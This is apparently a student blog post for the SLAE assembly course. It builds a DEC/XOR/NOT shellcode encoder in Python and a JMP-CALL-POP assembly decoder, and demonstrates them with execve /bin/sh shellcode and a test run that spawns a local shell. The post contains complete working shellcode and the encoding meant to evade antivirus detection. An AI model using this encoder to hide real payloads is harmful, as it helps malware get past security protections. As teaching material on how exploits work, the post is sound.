For the fourth assignment on the SLAE we’re asked to create a custom encoder. Encoders are used to aid in masking your true shellcode to help bypass protections that may be in place, like an anti-virus. There are many ways to do this with various techniques. For my encoder I decided to chain a few different simple techniques to encode and decode our shellcode. The encoder will first decrement the individual bytes in the shellcode by 1, XOR it with 0xaa, and finally perform a NOT operation on itself. To accomplish this, a simple python script was created.
#!/usr/env/python3 # XOR, DEC, NOT shellcode encoder shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") # intialize variables encoded_shellcode = "" encoded_nasm = "" for x in bytearray(shellcode) : # DEC x = x - 0x01 # XOR with OxAA y = x^0xAA # NOT encode z = ~y # shellcode format with \x encoded_shellcode += "\\x" # hex format with AND operation for 2's complement encoded_shellcode += "%02x" %(z & 0xff) # shellcode format for pasting in nasm file encoded_nasm += "0x" encoded_nasm += "%02x," %(z & 0xff) print('Encoded shellcode:') print(encoded_shellcode) print('Shellcode for nasm:') print(encoded_nasm) print('Shellcode Length: %d' % len(bytearray(shellcode)))
The shellcode used for testing our encoding will simply execute
/bin/sh using the execve-stack method. The assembly for that looks like such:
global _start section .text _start: xor eax, eax ; clear eax push eax ; NULL push 0x68732f2f ; "hs//" push 0x6e69622f ; "nib/" mov ebx, esp ; point ebx to stack push eax ; NULL mov edx, esp ; point edx to stack push ebx ; push /bin/sh address to stack mov ecx, esp ; point ecx to stack mov al, 11 ; execve() int 0x80 ; call execve
Let’s run the python encoder.
absolomb@ubuntu:~/SLAE/assignments/4$ python3 encoder.py Encoded shellcode: \x65\xea\x1a\x32\x7b\x7b\x27\x32\x32\x7b\x34\x3d\x38\xdd\xb7\x1a\xdd\xb4\x07\xdd\xb5\xfa\x5f\x99\x2a Shellcode for nasm: 0x65,0xea,0x1a,0x32,0x7b,0x7b,0x27,0x32,0x32,0x7b,0x34,0x3d,0x38,0xdd,0xb7,0x1a,0xdd,0xb4,0x07,0xdd,0xb5,0xfa,0x5f,0x99,0x2a, Shellcode Length: 25
Now that we have our encoded shellcode we’ll need to setup our decoder in assembly. We’ll need to reverse the operations of our python script which means we’ll first need to perform the NOT operation, then XOR, and finally INC.
To accomplish our decoding we’ll be utilizing the JMP-CALL-POP technique. The JMP will go down to our encoded shellcode and CALL our decoder_setup. The CALL will also push the next instruction to the stack, which happens to be the location of our encoded shellcode. This allows us to simply POP our encoded shellcode into ESI and start decoding it.
We’ll also be using a marker (0xaa) to signify the end of our shellcode so we know when to stop decoding. To find our marker we’ll do a simple compare to check if the marker matches the current byte we’re trying to decode. If it does match, we know the decoding is finished and we can jump to our decoded shellcode.
global _start section .text _start: jmp short call_shellcode decoder_setup: pop esi ; pop shellcode into esi decode: cmp byte [esi], 0xAA ; compare current esi byte with our 0xaa marker jz shellcode ; if compare succeeds, jump to shellcode not byte [esi] ; NOT operation of current byte in esi xor byte [esi], 0xAA ; XOR with 0xaa inc byte [esi] ; increment by 1 inc esi ; move to next byte in esi jmp short decode ; jump back to start of decode call_shellcode: call decoder_setup ; pushes shellcode to stack and jumps to decoder_setup shellcode: db 0x65,0xea,0x1a,0x32,0x7b,0x7b,0x27,0x32,0x32,0x7b,0x34,0x3d,0x38,0xdd,0xb7,0x1a,0xdd,0xb4,0x07,0xdd,0xb5,0xfa,0x5f,0x99,0x2a, 0xaa
Now to compile and extract the shellcode.
absolomb@ubuntu:~/SLAE/assignments/4$ ./compile.sh decoder2 [+] Assembling with Nasm ... [+] Linking ... [+] Done! absolomb@ubuntu:~/SLAE/assignments/4$ for i in $(objdump -d decoder |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo \xeb\x10\x5e\x80\x3e\xaa\x74\x0f\xf6\x16\x80\x36\xaa\xfe\x06\x46\xeb\xf1\xe8\xeb\xff\xff\xff\x65\xea\x1a\x32\x7b\x7b\x27\x32\x32\x7b\x34\x3d\x38\xdd\xb7\x1a\xdd\xb4\x07\xdd\xb5\xfa\x5f\x99\x2a\xaa
Once again we’ll be using a simple C wrapper to execute our shellcode.
absolomb@ubuntu:~/SLAE/assignments/4$ vim shellcode.c absolomb@ubuntu:~/SLAE/assignments/4$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack absolomb@ubuntu:~/SLAE/assignments/4$ ./shellcode Shellcode Length: 49 $ id uid=1000(absolomb) gid=1000(absolomb) groups=1000(absolomb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
Decoder successful! Our shellcode nearly doubled in length but overall not too bad.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1208
Github Repo: https://github.com/absolomb/SLAE